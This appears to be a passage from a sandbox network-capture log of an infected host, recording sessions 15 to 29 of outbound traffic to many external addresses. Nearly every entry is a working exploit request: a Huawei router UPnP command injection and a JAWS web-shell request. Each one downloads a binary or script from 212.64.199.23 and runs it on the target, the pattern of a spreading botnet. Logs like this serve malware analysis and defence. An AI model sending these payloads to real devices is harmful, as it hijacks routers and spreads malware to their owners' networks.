Feb 4, 2025 18:17:41.493880987 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.23	46742	93.82.82.128	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:42.489670038 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.23	43668	107.133.172.7	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:42.489690065 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.23	37356	156.99.102.61	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:42.521548033 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.23	57514	41.7.199.78	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:43.549427032 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.23	37912	107.32.66.157	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:44.534231901 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.23	56374	222.85.14.79	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:44.534257889 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.23	44424	31.170.25.110	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:44.540605068 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.23	48930	197.233.113.31	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:44.572438955 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.23	42624	197.85.239.225	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:45.525058031 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.23	58822	197.210.102.241	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:45.525090933 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.23	39350	46.144.2.233	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:46.549426079 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.23	49916	156.231.22.104	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:46.580075979 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.23	35546	156.78.71.35	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:46.584839106 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.23	39406	41.5.255.253	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:46.584904909 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.23	41008	41.20.220.186	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:47.541044950 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 